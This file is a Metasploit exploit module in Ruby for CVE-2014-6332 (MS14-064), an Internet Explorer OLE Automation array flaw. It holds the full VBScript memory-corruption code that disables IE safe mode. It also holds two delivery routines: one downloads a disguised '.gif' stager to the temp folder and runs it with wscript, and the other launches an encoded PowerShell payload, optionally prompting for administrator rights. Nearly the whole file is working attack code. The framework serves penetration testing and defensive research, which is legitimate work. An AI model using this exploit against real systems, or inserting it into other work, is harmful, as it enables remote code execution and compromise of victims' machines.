modules/exploits/windows/browser/ms14_064_ole_code_execution.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
'Description' => %q{
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
The vulnerability is known to affect Internet Explorer 3.0 until version 11 within
Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will
only target Windows XP and Windows 7 box due to the Powershell limitation.
Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
newer Windows systems, the exploit will try using Powershell instead.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Robert Freeman', # IBM X-Force
'yuange', # twitter.com/yuange75
'Rik van Duijn', # twitter.com/rikvduijn
'Wesley Neelen', # security[at]forsec.nl
'GradiusX <francescomifsud[at]gmail.com>',
'b33f', # @FuzzySec
'sinn3r'
],
'References' =>
[
[ 'CVE', '2014-6332' ],
[ 'MSB', 'MS14-064' ],
[ 'OSVDB', '114533' ],
[ 'EDB', '35229' ],
[ 'EDB', '35308' ],
[ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ],
[ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ]
],
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP',
{
'os_name' => OperatingSystems::Match::WINDOWS_XP
}
],
[
'Windows 7',
{
'os_name' => OperatingSystems::Match::WINDOWS_7
}
]
],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:ua_name => HttpClients::IE,
:arch => ARCH_X86,
:ua_ver => lambda { |ver| ver.to_i.between?(4, 10) }
},
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip',
'Powershell::wrap_double_quotes' => false
},
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => '2014-11-13',
'DefaultTarget' => 0))
register_options(
[
OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false])
])
end
def vbs_prepare()
code = %Q|
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runaaaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
|
end
def vbs_vector(prep)
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
payload_src = "#{gif_name}"
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
%Q|<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<body>
<script language="VBScript">
function runaaaa()
On Error Resume Next
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
xmlhttp.open "GET", "#{payload_src}", False
xmlhttp.send
Set objFSO=CreateObject("Scripting.FileSystemObject")
folder = objFSO.GetSpecialFolder(2)
scriptName = folder + "\\#{vbs_name}"
Set objFile = objFSO.CreateTextFile(scriptName,True)
objFile.Write xmlhttp.responseText
objFile.Close
set shell=createobject("Shell.Application")
shell.ShellExecute "wscript.exe", scriptName, "", "open", 0
end function
</script>
<script language="VBScript">
#{prep}
</script>
</body>
</html>
|
end
def powershell_vector(prep)
if datastore['TRYUAC']
tryuac = 'runas'
else
tryuac = 'open'
end
# Powershell was the first technique demonstrated publicly.
# On some Windows setups such as Windows 7 without a service pack, this works quite well.
# But other Windows setups you will get a prompt.
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
payl.slice! "powershell.exe "
%Q|<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<body>
<script language="VBScript">
function runaaaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
end function
</script>
<script language="VBScript">
#{prep}
</script>
</body>
</html>
|
end
def get_html
prep = vbs_prepare()
case get_target.name
when OperatingSystems::Match::WINDOWS_XP
return vbs_vector(prep)
else
return powershell_vector(prep)
end
end
def on_request_exploit(cli, request, target_info)
if get_target.name.match(OperatingSystems::Match::WINDOWS_7) && !datastore['AllowPowershellPrompt']
send_not_found(cli)
return
end
case request.uri
when /\.gif/
if get_target.name =~ OperatingSystems::Match::WINDOWS_XP
p = regenerate_payload(cli)
data = generate_payload_exe({:code => p.encoded})
# The default template uses \n, and wscript.exe isn't very happy about that.
# It should be \r\n .
vbs = Msf::Util::EXE.to_exe_vbs(data).gsub(/\x0a/, "\r\n")
print_status("Sending VBS stager")
send_response(cli, vbs)
else
# The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
# something is not right.
send_not_found(cli)
end
else
print_status("Sending exploit...")
send_exploit_html(cli, get_html)
end
end
end